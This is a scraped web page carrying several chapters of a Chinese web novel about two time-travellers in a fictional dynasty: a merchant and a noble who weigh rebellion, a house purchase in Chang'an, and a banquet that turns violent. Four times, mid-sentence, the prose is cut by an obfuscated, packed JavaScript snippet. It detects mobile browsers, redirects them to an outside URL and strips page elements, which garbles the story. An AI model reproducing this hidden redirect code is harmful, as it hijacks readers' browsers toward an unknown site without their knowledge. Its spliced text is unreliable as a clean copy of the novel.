尚家做药材生意,除去长安洛阳,整个大历哪里都吃得开,毕竟大历还不曾向民间推广如何种植药材,他也算是吃了头一波种人工药材的福利,往后数十年,或许都不会有对手。 “看来你是真的会故知来了。”别此云轻叹的同时微微扬起嘴角,难得遇见目的如此纯粹的人,“抱歉。” “只短短几句话就判断我的为人好坏并不严谨,但很高兴能得到你的信任,要继续深入聊聊吗?” 尚柒迫切的前来长安相认,为的自然是交友,有些话尚柒是不能同其他人说的,哪怕是最亲近的弟弟妹妹。 “聊什么?往事,还是这辈子如何发家致富?若要说往事,没什么好谈的,若要说如何发家致富,大抵因为我投了个好胎。”除却性别因素外,其他的别此云没什么不满。 “看来我的运气要差一些,出生的时候家徒四壁,好不容易有些起色,父母又因为意外过世,嗯,还得加上因为年幼又有些家财,引得虎豹豺狼觊觎。” 要谈开局,尚柒可以算天崩,农户出生,家里不过几亩薄田,仅够糊口,后头家里又有了弟弟妹妹,想要养活三个孩子并不容易,如果不是乌桕出生的时候,尚柒已经能够跟着大人进山采药,只怕得夭折一两个孩子,日子才能过下去。 但,幸运的是尚柒上辈子出身中医世家,打小被逼着学习医术,后头因为叛逆弃医学商,可十几年的童子功给了他在这个世道安身立命的本钱。 “看来上天挺公平的。”别此云突然没头没脑的接了这句话。 “你在苦恼亲事。”尚柒打见面的时候就清楚别此云原本应该也是男性,只不过大历突兀的冒出了第三种性别,而别此云不巧中奖了。 其实单纯的换一种性别,对尚柒来说大抵会苦恼一阵,之后该怎么生活还怎么生活,庶民也有庶民的好处,至少尚柒能够左右自己亲事,不必顾忌太多利益。 “以世家公子贵女的年纪,我的确该成亲了。”别此云能够拖延成亲的年纪,但却不可能不成亲,世家亲事也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400974|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世家利益的一部分,而他父亲如无意外是别家下一任族长,作为父亲膝下唯二的孩子,他的婚事算不得万人瞩目,也有的是人惦记。 “若是不喜男子,何不挑选一位只喜欢女子的世家少爷,只要对方能与你表面上相敬如宾,想必日子也过得去。” 尚柒一惯是个日子过得去就得过且过的性子,想的法子也是尽可能明哲保身,这法子自然也是有风险的,但尚柒相信别此云有能力解决。 “如此,我为何不挑选一个短命鬼,只要等他死了,不更清净。”别此云话里憋了一口气,显然对尚柒提的法子深恶痛绝。 “因为你知道不行,世家贵女公子哪怕守寡,也多的是人趋之若鹜,你不敢赌。”别家对别此云应该是不差的,但宠爱在家族名声利益面前又有些不够看。 尚柒一语戳破别此云的烦恼,叫原本缓和的气氛又沉闷起来。 “想过出家吗?” “长安郊外,有一私观名为清闲观。”别此云轻声应了一句,虽不曾解释,但话里意思再明显不过。 别家能够容忍别此云在私观居住,但不可能让别此云出家修行。 如此,就难解了,尚柒没想到和故知想见,第一面不是吐槽落后时代的各种不便,反而谈起了如何帮对方躲掉亲事。 无论古今,催婚都是让人头疼的事,更不说别此云可能不喜欢男子,现如今要逼他嫁给封建社会长大的男子,哪怕这人是太子也不能如意。 “还能拖延多久?” “也许一两年。”登门提亲的媒人数不胜数,各府夫人也常登门打听消息,若非是他幼年体弱,有一位道长批命不可过早成亲,怕是已经大婚了。 那就是迫在眉睫了,尚柒揉了揉眉心,按说这事他是帮不上忙的,因为身份的缘故,哪怕尚柒愿意替别此云挡桃花,别家都是不肯的。 世家最不屑与寒门结亲,若有本事在朝堂上混个一官半职,叫世家能看出潜力,或许还有机会做乘龙快婿,他可是连门都没有,是个彻头彻尾的庶民。 “你在西南发展的如何?”别此云似乎无意再继续说婚事,问起了尚柒的情况。 “会些医术,小有名声。”话里没有谦逊,他在西南靠医术成豪强的座上宾,一般情况地方豪强都是与他友善,但真触及到利益问题,翻脸也不过刹那间的事。 “小有名声,钱粮可有?” 钱粮?尚柒微微仰头,这自然是有的,毕竟说不得什么时候就乱世了,钱财还好说,没有粮食,乱世之中不是只有做两脚羊的份。 只是,好端端的为何问起这个? “你不是我想的那个意思,对吗?”尚柒诚恳的询问。 别此云静静地看着尚柒,虽不曾言语,但整个人都表露出他就是尚柒想的那个意思。 打别此云进门后,尚柒一直都稳得住,情绪也不曾因为别此云的态度有任何变化,可现在看出别此云眼中的目的,尚柒差点裂开了。 谁会因为不想成亲就打算造反的。 5. 局势 尚柒沉吟片刻,委婉开口,“是不是过于交浅言深了?” “你说要深入聊聊。”别此云淡定的端起茶盏,没有丝毫大逆不道的惶恐。 这也太深了,尚柒颇为无奈,不过也没什么,对于土生土长的大历人来说,单是造反两个字被提及都要捂嘴,小心隔墙有耳。 但对于尚柒别此云来说,实在稀疏平常,若是两人历史学的好,单以各朝造反势力为例,能侃侃而谈一整日,甚至还能分析分析目前大历会与哪个王朝命运相似。 “长安的局势已经到如此地步了?”尚柒一直在西南发展,如今交通不便,对长安方面的消息就闭塞很多。 “差不多了,大历自开国至今,也有两百余年,土地兼并、外戚势大带来的影响已经足够重新开局。”长安城的局势错综复杂,若非局中人,想要了解清楚几乎痴心妄想。 “我们没兵。”几句话的功夫,尚柒清楚目前长安定然是浑水一团,几方势力虽然还不清楚,但大抵不过是想要夺权的皇子、野心勃勃的外戚以及虎视眈眈的世家。 几方势力一旦动起来,除非大历皇帝后嗣有本事让大历仰卧起坐,不然大历改朝换代是可以预见的。 中原一旦起乱,草原肯定会横插一手,到时整片大陆不见得有几个安稳地方。 可要尚柒仅仅因为几句话就干起谋反的勾当,不太现实,而且尚柒不吃美人计。 “时间还来得及。” 看来局势也没有那么迫切,尚柒又放下心:“若想夺权,也非是要动兵,你若真想当皇帝,何不试试嫁入皇家,走后宫干政的路子,若真有才能,想必魏氏不会是你的对手。” 大历魏氏近几任皇帝早不复先祖英明,如今的广运帝更是连守成之君都做的勉强,东北与西北的边境线一缩再缩,大历国境几乎丢了三分之一的领土。 以经验来看,魏氏除非宗亲有子弟出彩,不然接下来两到三代帝王里,必有一位亡国之君。 “本末倒置。”别此云真要是有野心,以别家在世家中的名声,入宫也不过是一句话的事。 尚柒低头想了片刻,看来别此云不光不想嫁人,还不想生孩子,从后宫到前朝的发展路线,总归是少不了子嗣。 “别家有参与其中吗?”造反不是一拍脑门就能定下的,别此云身份又不占理,而别家虽是世家,出名的却是文采,只真到了群雄逐鹿之际,上桌也只能坐后面。 “我因自幼体弱,常年在清闲观修行。” 这就是不知道别此云的计划了,没有别家的帮忙,别此云能够酿造青麦酒并卖到西南,恐怕手里钱粮不会少。 唯一欠缺的还是兵力,偏偏别家不是武将,别此云想要染指军队除去嫁个武将几乎没有其他办法,蓄养私兵在地方上还能行,长安城内外是不可能有机会的。 尚柒自问手中钱粮一定比不上先天资源丰厚的别此云,唯一的优势就是位处西南,是个常年大乱小乱不断地地界。 西南豪强各家坞堡庄子里,都养的有部曲,真要乱起来,手中的兵力既是保障安全的底气,也是投奔明主的筹码。 “如你所言,天下大乱,我还可以带亲族入深山避祸,待到十年二十年战乱结束再出深山,不比成王败寇更轻松?” 尚柒不曾领兵打仗,也自问没这个本事,谋反是把脑袋别再裤腰上,他还是想更安稳的活着。 别此云抿了抿嘴唇,情绪太稳定也不好,退堂鼓打的太快。 他承认初见面就谈及谋反过于轻率,但他自信尚柒就算知晓他的心思,也没法利用这点威胁他,毕竟一个世家哥儿想要造反,和天方夜谭没什么两样。 “隐居山野自无不可,但你能保证你的桃花源就一定安全吗?”入深山避祸,尤其是西南大山重峦叠嶂,寻个宜居的山头并不难,可风险还是存在不是吗? 一旦任何军队发现尚柒及亲族的踪迹,只会落个人头落地的下场,谋反虽然风险更大,但主动权掌握在自己手里。 见尚柒不语,别此云乘胜追击:“乱世之中想要自保,唯有拳头够硬,不然只有钱粮,也是为他人做嫁衣。” 邻居囤粮我囤枪,邻居就是我粮仓,尚柒如何不知道,只是三言两语就被煽动,加入一个不知底细的计划,也不见得安全到哪里去。 “若要在西南屯兵,最后军队只会在我手里,这应该与你的计划不符。” “钱在哪里,兵在哪里。” 相当自信的回答,叫尚柒反思自己是不是真的太低调了,以至于让别此云认为他手中钱财有数。 “如果我答应你,能告诉我,我在你的计划里充当什么角色?”总感觉是用完就扔的角色,或许凭借一点故知情谊,留个全尸什么的。 “你想当皇帝吗?”别此云语出惊人,但对面的尚柒依旧是那副稳如泰山的模样,他不信尚柒能够全全看出他的想法,如此看,尚柒或许是个面瘫,可惜了。 “……可能我也不想早起?”果然对现代人,尤其是缺乏自律的年轻人来说,大权在握也不能叫人日日天不亮就工作。 造反大业尚未开始,因为谁当皇帝相互推诿崩殂。 勤政爱民的皇帝,哪个不是起的比鸡早,睡得比狗晚,说是皇帝,一辈子差不多都困于皇宫,跟坐牢大差不差。 真要贪图享乐也能办到,只是有亡国风险,不建议尝试。 “我们还是谈谈西瓜霜如何?如果西瓜霜的药效不满意,我手里还有别的药,治金创的白药、救命用的安宫牛黄丸,还有——” “你手里的西瓜霜我都要了。”别此云放下帷帽,“明日我会派人来取。” 说罢,别此云便毫不留恋的开门走了。 “咳,东家,事情谈的不顺利?”守在门口的德顺进来,这几日过来谈生意的掌柜管事出门都是一个个喜笑颜开的,还是头一次见怒气冲冲的。 “很顺利, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400975|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余下的药明日有人接手,价格往上浮两成。”与别此云不同,尚柒谈完话倒是一副神清气爽的模样。 “啊?”德顺一愣,他们在长安卖药已经是翻过几倍的价格,过来做生意的掌柜管事都是一视同仁,怎么今儿还涨价了。 而且今日过来谈生意的是位哥儿,不说东家是否怜香惜玉,单单是没拒绝同人做生意甚至还把剩下的药全卖给这位哥儿,就说明真聊的不错。 要是这位哥儿事后打听他们卖给其他的价格,不是结仇么。 “照我说的做就是。”尚柒并不打算解释清楚,“待会你与守义去外面打探长安别家的情况,小心行事不要露了踪迹。” “诶。”德顺挠了挠脑袋,然后将想不通的疑惑抛之脑后,总归东家这样做肯定有他的道理,再说有钱不赚白不赚,生意人心黑一些也是正常的。 待门再次被关上,尚柒才不紧不慢的走到窗口,正巧窗户下能看到别此云上马车的身影,比起世家子弟的宝马香车,别此云这次过来的马车平平无奇,多半是为了隐藏身份。 世家公子轻易不该和商户牵扯上,不然有损名声。 马车慢悠悠的消失在坊市的街道中,待到影子都瞧不见时,尚柒又把目光投到整齐的坊市内,人来人往看似平和,可尚柒知道真要是战乱纷起,眼前的和平分崩离析不过瞬间的事。 别此云的计划有一点没错,万事不该坐以待毙。 礼县不过是边境一处小县城,长平村也只是礼县中不起眼的村落,但因为靠近边境,亦有外族进攻的风险。 他不曾在礼县养兵,但西南民风彪悍,就说商队做事的这群汉子,真要是遇上敌人各个都是对敌的老手,便是上战场也比过一般老兵。 这样的汉子礼县并不少见,甚至不少娘子郎君也能拎刀跟人打上一打。 所以他不算毫无反抗之力。 …… 别家。 从私宅换了衣服的别此云归家,并未引起别家什么风波,别家修文,自然对伦理道德要求颇高,父慈子孝兄友弟恭,于世家间是出了名的。 别此云这一辈,兄弟姊妹不算多,大多都成亲了,平日里少有见面的时候,他这一辈未成亲的两个小的,是四叔家的,年岁还小,也与别此云玩不到一块。 “公子,老爷正在上衙,夫人去了赏花宴,大少爷正在前厅宴友。”琴砚是梧桐苑的掌事,虽少有见到公子的时候,但公子名下店铺库房都是他在一手打理。 “我有些乏了,爹娘阿兄若是得空请我过去,只管推了。”别此云换了寝衣,躺在床上,要说多困也是没有的,只是脑子里还在不断复盘他与尚柒的对话。 尚柒无疑是个聪明人,待人友善,即便他说出如此惊人的话题,也不过微微惊讶片刻,就恢复常态。 但尚柒同样是个难缠的对手,便是他打了尚柒一个措手不及,也没有找到尚柒的破绽,可见要想拉拢尚柒很难。 6. 买房 “阿兄,我们真的要在长安置房?”尚乌桕吃着西市买来的胡饼,询问好不容易得空的阿兄,他都听守义哥说了,阿兄今日请了牙行的牙侩上门。 “如你所愿还不好?”尚柒盘了盘到长安的账本,药材都尽数卖出去了,前两日已经遣人回礼县,下一批药材最快也要两月才能到。 “当然好,只是阿兄之前不还在考虑嘛,怎么突然又要买房了。”真要买房,阿兄定然不可小气了去,但要在长安置办一处跟长平村老家一样大的房子,没得上千贯办不下来。 “因为到年前我们都要在长安暂住,有一处歇脚地更方便。” “年前?”尚乌桕震惊,距离过年还有大半年呢,他以为最多在长安呆两三个月就要回去。 “嗯,正好买了房你的功课也该捡起来了。”尚柒并不担心礼县出问题,离开几个月出不了大问题。 说起功课,尚乌桕浑身一僵,这些时日在长安无人管教,他可以说是无法无天,之前学的东西都有些记不得,不能继续和阿兄待一块了,不然阿兄突然要抽查他必然露馅。 打发完小孩,尚柒才静下心看守义德顺送来别家的情报,长安城里只要是摆在明面上的消息,很容易打听出来,甚至一些暗地里的消息,多走几次平康坊也能打探出一二来。 别家,祖上是寒门,运道不错搭上了大历开国皇帝的顺风车,一跃成了长安有名的世家,又因为别家善文,代代都有锦绣文章者,两百来年下来,也算是在世家之列扎根站稳。 别家男丁,及冠后都在朝中谋有职位,最大的自然是别家如今的族长别泓,太子之位定下后,便被广运帝指给太子当太傅。 太子太傅论实权是排不上号,但别家其他人多在三省六部做事,都是干实事的,也算是长安城的香饽饽。 别此云此人名声不显,不过一般世家贵女公子的名声也很难传入平民的耳朵里。 “别家是太子党。”打别泓成为太子太傅起,外人眼里别家只能站队太子,当今太子是何等人物尚柒不太清楚,但看别此云的意思,太子多半也不怎么成器。 看过情报,尚柒便将信纸放在油灯上,燃尽后等着今日牙行牙侩登门。 长安一百零八坊,最好的住处自然是靠近东市附近的几个坊,东市附近距离皇宫不远,说是五步一个达官显贵也不为过。 治安方面更不必说,一般地痞流氓都是不敢在这些地界闹事的,但世家子弟一多,纨绔子弟的数量就呈直线增长,遇上了很难全身而退。 “尚东家是想在东市附近的坊市购房?”上门的牙侩捋了捋胡须,这可是个大买卖。 “不错,院落最次也要三进,周围最好能清净些。”西市附近的房子也可以,但尚柒的药材生意东市更吃得开。 “符合尚东家要求的房子有几处,不过价格都比一般坊市虚高。” “价格不是问题。”既然要添置房产,尚柒自然不会吝啬,不说这回带过来的钱,单单是长安城里卖药材赚的,都足够在长安城买下一处房产还有结余。 有这句话,牙侩办事就可以放开些手脚,立马准备带客人去看房,说实话,长安城的大宅子房源不多,尤其是东市附近。 因为既靠近东市又靠近皇城,这地盘可以说炽手可热,坊内房屋早早占满了地盘,要买都只能求购二手房。 寻常百姓的家的宅子都不大,若非是家道中落或是家破人亡一般不会买卖,三进院的宅子多半是五六品官员的住宅,流入市场的不多。 像是牙侩带尚柒看的第一处宅院,在东市靖恭坊,靖恭坊内有一处马球场,长安城里的世家子弟常组局游玩,算是不错的位置。 只是宅院有些差强人意,地段不算好,房子倒算新,价格虚高至少一成。 尚柒是有钱,但也不愿意做冤大头。 第一处没看上,牙侩也不沮丧,做生意的人都喜欢货比三家,眼前这位东家说是西南小地方来的,但看为人处世的态度以及周身的气度也不比长安城的世家子弟差到哪里去。 挑剔些实在正常。 第二处宅子就在靖恭坊隔壁的常乐坊,距离东市更近,想要出城也方便,位置价格也都合适,只是大了些。 “尚东家若是觉得大了,隔壁的安邑坊还有两处宅子,只是比起常乐坊这处,都有些不足。”一处位置不大好,一处破旧了些,住当然也能住,但肯定比不上常乐坊这处。 “房子之前可有官司?”长安的房子,尤其是当官住的,或多或少都有被抄家的经历,而抄家来的房子都是归公,好的地段不会出售,一般都是皇帝用来赏人的,差一些的公家会挂到牙行售卖。 “不曾有过,这处宅子的主人原是四品官,奈何年纪大了,家中子弟又没有出息,干脆替子嗣谋了外地的职位,致仕后阖家回到原籍养老了。”这样的人不少,世家门阀也分等级,出了五服的旁支败落的人家比比皆是,能回原籍养老都算是好归宿。 “去衙门定契。”看中了尚柒也不想多折腾,只是宅子太大,平日宅子也需要保养,雇佣人手就显得必要。 一事不劳二主,宅子过户人手自然也从看房的牙侩手中挑选。 封建社会奴婢一向是不缺的,更不说大历做国际生意,不少外邦商人也贩卖本国人口到大历,为此牙行里能看到各色各样的人。 有体格强壮的昆仑奴,也有美色过人的胡姬,当然最多的还是粗使的奴仆,昆仑奴价位在一贯左右,胡姬只高不低,粗使奴仆略微便宜些。 要打理大宅,除开厨房看门外,少说也要十数人,好在要的都是做粗活的,十五贯就能拿下,比起上千贯的宅子,这点花销都溅不起水花。 等回到客舍,尚柒就把买来的宅子和人手都给了南枝,也算是给南枝练手。 “宅子可需要翻修?”长安城的房子,谁知道已经住了几百年了,若是保养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400976|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的不好,不若推翻了重盖,但阿兄应该不至于买一处需要重修的房子。 “不必,但屋内东西都需要添置,人手也要尽快安排住进去,卖身契和房契都在盒子里,怎么处置他们由你安排。” 尚南枝点点头,就出门去了,只是她看着满盒子的契书叹气,礼县人手都不够阿兄用的,还得从其他县招人,长安却有这样多卖身为奴的奴婢。 这些人如果都能去礼县帮阿兄做事该有多好。 人在长安,但人生地不熟,想要把阿兄交代好的事办妥并不容易,可有句话说的好,有钱能使鬼推磨,尚南枝自信能够在一旬时间里收拾好宅子,叫阿兄安稳入住。 …… “买房了。”别此云收到书墨递来的消息,打前些时日和尚柒谈过一场,他们就再没见过,私下里也只让书墨去过一趟收购西瓜霜。 尚柒卖他的价格比卖给旁人贵了两成,不过这点钱财别此云并不在意,哪怕翻两三倍,看在他们同出一乡的份上,他也会买下。 只是尚柒这样做肯定有别的目的,他信尚柒并非是恼怒才涨价,但要说尚柒接受他的投资,以此示好又未免过于自作多情,这种暧昧难辨的态度的确是玩弄人心的好手段。 “常乐坊里有公子的几个铺面,公子可要去看看?”书墨并不知公子为何对西南来的尚东家如此看重,隐约觉得尚东家和公子像是旧识。 但莫说他打小在公子身边伺候,公子认识的人他都认识,单是尚东家远在西南,又是头一次上长安,两人如何能有交集。 “阿翁生辰在即,我不便出门。”且他认为下一次和尚柒见面,至少是要在尚柒对长安局势更了解一些的时候,“这一月的账目可盘完了。” “长安城内的店铺都清账了,还有出城生意的账目在郊外庄子上,原打算明日去的。” 别此云能做的生意很多,但一个人的精力有限,且往外做生意受限于距离,太多太杂反而不妙,为此他名下只有青麦酒的生意随着商队卖到大历各地。 大历人好酒,青麦酒的销量出长安后节节攀升,若非手里的粮食不能全都投入酿酒,收益至少还能翻一倍。 “明日查完帐,若是没问题便不必到家里禀报。”自回家几日,别此云已经看出阿翁的寿宴要出些是非,他在局中能做的只有装聋作哑,不引人注意。 “尚东家的动向还继续派人盯着么?” “将人撤回来,顺道送几则消息给他。”尚柒差人查别家的事做的还算隐蔽,奈何别此云也派了人盯梢,所以瞒不过。 什么消息书墨自然不会多问,接过公子递来的信纸,就遣人办事去了。 长安城看似风平浪静,其实有些地方已经乱成一锅粥,尚柒既然愿意留在长安,想必也是想看清楚局势,不管尚柒是否有意他的筹谋,此刻肯定不会继续龟缩西南。 七日后的寿宴,或许正是让尚柒见识大历情况的契机。 7. 寿宴 收拾新宅,免不了惊动左右邻居,尚柒买的新宅左右都是官宦人家,或许品阶不算高,但比起寻常百姓已经算高不可攀。 “可有打探出是哪家背景?”苏府的主事郎君对隔壁关注颇高,这也是没法子,他夫君是寒门出身,靠科考留在长安,想往上爬必须寻人提携,人情往来也极为要紧。 老话说远亲不如近邻,能和有背景的人做邻居再怎么样也能攀上交情,说不得能给夫君的官途添一二助力。 “回郎君,隔壁的主人是西南过来经商的人家,做的药材生意,近来长安声名鹊起的西瓜霜就是他们家的药。” “商人?”赵郎君一顿,实话说士农工商,商为末,即便大历民风开放不少,但商人在士人眼中,也上不得台面,“他们什么时候乔迁新居?” “说是要几日。”具体什么时候应该是还没定下,但隔壁宅子什么样,做邻居的哪能一点不清楚,原本宅子的主人也是爱惜之人,只要再添置些常用的东西,不消几日功夫就能住进去。 “若是隔壁入住,替我从库中选几样东西送过去,当是贺乔迁之礼。”到底是要做邻居的,赵厢惯是与人友善,必然不会说这点体面功夫都不做。 “是。” 尚南枝每日从金城坊过来,忙碌收拾新宅,半点不知左右邻居已经做好送乔迁之礼的准备,不然肯定要冥思苦想该准备什么回礼才不失阿兄体面。 而比起乔迁新居,更早一些的是别家老太爷的寿诞,长安城时不时就有寿宴喜宴,一般百姓人家是不怎么关注的。 世家间但凡不是老死不相往来,也都会过来贺寿,加上别家老太爷今年六十,是过大寿,寿宴更是隆重。 皇帝亲临是不指望,但太子必然是要到寿宴上来,而太子亲临,为人臣者,没有不来的道理,当然这条规矩仅限有资格入场的,如□□品小官,那是巴不得祝寿,可惜别家没他们的位置。 可预见的热闹,但跟尚柒关系不大,因为尚柒的身份比之□□品小官还要不足,除非他这会救了别家人或是太子的命,不然压根没机会入场。 “阿兄,你都梳理京中各世家关系好几日了,梳理完了吗?”被阿兄逮住背课业的尚乌桕在一旁蔫耷耷的问道。 “当然没有。”尚柒学问不算顶尖,光是要把京中有名有姓的统计出来都耗费了大力气,还要梳理各世家的关系,几日?一个月都不一定够。 世家联姻错综复杂,就算本朝的两百来年,都乱成一锅粥,世家子弟若是草包一些,都弄不清楚远一些的姻亲关系。 “长安的权贵还是太多了,像礼县,有钱的就几家。”尚乌桕对世家关系不关心,奈何阿兄一副要办大事的模样,不会等阿兄梳理好他和阿姊也要跟着一起背下来吧。 “礼县才多大,整个西南的豪强关系也很复杂,等从长安回去,可以让蔺肃给你补补课。” “不要,我医书都背不完,去了解豪强的姻亲关系干什么?难不成阿兄你准备让我和阿姊嫁给他们,让尚家一步登天?”尚乌桕嘴巴喋喋不休,年纪不大想的倒多。 “先不说不靠你们我在西南也混的开,单单是尚家目前是商户,豪强想要结亲,也不会娶你们做正妻,难不成我还能送你们去吃苦?”婚姻大事,尤其是这个时代,须得慎之又慎,甚至尚柒觉得若是没有寻到合适的对象,养南枝乌桕一辈子也不成问题。 左右他当家作主,外人又干涉不了他。 “那我了解他们干什么?有这个时间我还不如去曲江池玩呢。”他都来长安大半个月了,东西市和几个有名的坊市虽然逛了,但长安城里最好玩的曲江池和乐游原他都还没去过。 “背你的书,待会我要抽查。” 尚乌桕又开始嘟囔,阿兄说不过就知道转移话题,背书好难啊!!! 听着幼弟抓狂的声音,尚柒反而静下心考虑别家寿宴的事,他初入长安,可以说对长安城的一切都一问三不知。 唯一了解一些的别家还是因为别此云的缘故临时打听的,昨日别此云遣身边人送了他几则消息,都与寿宴相干,可见宴无好宴。 别此云想要他借此机会隔岸观火看看大历的局势,但他更担心的反而是广运帝,大历魏氏寿岁都不长,活到六十的寥寥无几,广运帝如今五十有七,算是高寿。 虽说广运帝皇帝做的勉强,但人活着长安的暗流涌动便不会一触即发,可要是广运帝突然暴毙,大历必然大乱。 麻烦,尚柒心里叹了口气,他为什么不早来大历一百年,那时候大历正是国富民强之际,太平盛世活到他死都没问题,至于子孙后代他是管不到了。 —————————— 别老太爷大寿当日,别家朱门大开,前来贺寿的马车都将门口挤满了,好在长安的世家早习惯一窝蜂登门会造成交通堵塞,都是尽量不在门口寒暄,直接在门口同主人家打完招呼,就让仆人去前厅登记贺礼。 门前招呼的主人家正是别泓的长子长孙,别洵松和别景季,来的早的客人要么地位不够高,要么关系足够亲近,为此真正位高权重的客人都要等上一等才能见到。 就说太子,哪怕寿宴开始再来,外人也不敢说什么,尊师重道只是个名头,太子能来便是给别家面子。 只是别洵松万万没想到,今日除开太子,朝中几个王爷也都来贺寿了,但来者是客,没有不欢迎的道理。 “父亲,别家与几位王爷并无交情,今日过来?”别景季趁着空档同别洵松商议眼下情况。 “太子过来贺寿,几位王爷过来也并无不可,别家在朝中一向不冒头,便是几位王爷有心在寿宴上发难,也抓不住我们的错处。” 别洵松也是在官场浸淫二十年的人,对于一场寿宴来这样多大人物,哪里不知道来者不善,但别家一向没有把柄落在这些人手里,真要发难也是不惧。 而接下来的客人更是印证了别洵松和别景季的猜想,当朝宰值,国公侯爷有一个算一个,都来贺寿,不知道的人还以为上朝呢。 前厅的宴客厅陆陆续续来了不少大人物,叫勉强够格参加的小人物暗叫不好,而娘子郎君这头的内宴倒没有外宴的惊涛骇浪。 别老太君坐镇上方,几位王爷的王妃都未曾过来,其余官眷自然安分守己,除去娘子郎君,未出阁的贵女公子也不少。 这类宴会,或多或少都有相看性质,若是哪家娘子郎君看中了其他家的贵女公子,正好也能和对方的娘亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400977|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿耶商议,说不得就凑出一段好姻缘。 别家目前只有别此云一位适婚的公子,早些年因为批命的缘故别老太君和别夫人明里暗里都挡了回去,今年怕是也准备给别此云定下一门亲事。 成亲可以再缓两年,定亲却是刻不容缓了。 于是别老太君示意别夫人多与家中有适龄儿郎的夫人郎君亲近,等下一次举办一场赏花宴或是马球会,就可进一步相看。 自然了,别此云也在宴上,只是别此云长年累月在道观住,便是回到别家也足不出户,宴上少有认识的贵女公子,为此三三两两的人堆里,别此云孤单一人格外显眼。 苏怡然同各家夫人郎君说话间,瞧着自家哥儿又开启孤立所有人的模样,磨了磨后槽牙,同身边的侍女说了两句,原本在宴上同人说话的张氏便去寻小叔子了。 “此云,怎么光坐在宴上,今日贺寿过来的贵女公子甚多,平日里你都在道观修行,少有交往,今日可要多认识些人,方便日后交际。”张青浣与别此云的关系算不上亲近,实在是也是因为平日里见面的机会不多,小叔子又不善言辞,往日这样的宴会小叔子也是能推就推。 “今日寿宴别家做东,嫂嫂定然也忙,不必管我。”别此云满心在想外宴的情况,虽然外宴伺候的下人里有他的人,事后大抵能知晓情况,但一想到阿翁好好的寿宴怕要染血,难免忧虑。 “此云,这是娘交代给我的任务,我做儿媳的哪有推脱之理,若是你不想去认识旁的人家,不若跟在我身边,同我一块接待各位官眷。” 话到这个份上,知道推脱不了,别此云只沉默寡言的跟在张青浣的身后。 娘子郎君能聊的来的,一整日话都说得,就是宴席开了,也不讲究什么食不言寝不语,反而你一言我一语的热络在宴上谈话,也显得气氛热闹,主宾尽欢。 不想宴席过半,外宴便传来不小的动静,叫内宴的娘子郎君们纷纷遣人去外宴打听,好好地寿宴是出了什么事。 苏怡然作为别家主事夫人,亲自过去外宴厅门一探究竟,哪想还未走到外宴厅门口,几个打探消息的侍人先一步仓皇回来。 一个个瞧模样都吓的不轻,看来外宴出的事还不小,苏怡然身边的嬷嬷快几步过去抓住侍人细细询问,听到侍人磕磕绊绊的话面色也难堪起来。 “夫人,外宴有人动了刀,怕是闹出了人命。” 苏怡然脸色也难堪起来,大好的寿宴怎么会突然闹出人命来。 “府医过去了吗?” “几位王爷太子还有朝中大臣封锁了宴会,不叫外人进去。” “他们这是把别家当什么地方了,老爷可有派人传话?”苏怡然又气又急,但最后还是忍了,毕竟和别的世家比起来,靠魏氏一跃成为权贵的别家的确没有和皇家硬抗的底气。 “没有,不过眼下夫人还是尽快稳住内宴的娘子郎君为好,外宴的闹剧总会出个结果,若是内宴也跟着乱起来,伤了人便不好了。”李嬷嬷也是见多识广的人,话里也都是求全之策。 “叫人在外宴口守着,府医也叫过去,一旦外宴的人出来,打探清楚情况立刻回报。”苏怡然吩咐完,又换了脸色才回内宴,安抚受惊的官眷。 8. 寿宴·下 “外宴上闹了什么事?”别老太君见儿媳回来,先是等人安抚好官眷,才遣了身边的李嬷嬷过来说明情况。 李嬷嬷细细说了前院的事,叫别老太君眉心一皱,好好的寿宴,如何能闹出人命,总不好朝廷上的恩怨拿到寿宴上说事。 “可有人看到是谁伤了?”别老太君忧心忡忡。 李嬷嬷摇头:“打探消息的侍人都没能进去宴会,只有两个眼尖的看到了厅内有血,也不知是谁动了刀子。” 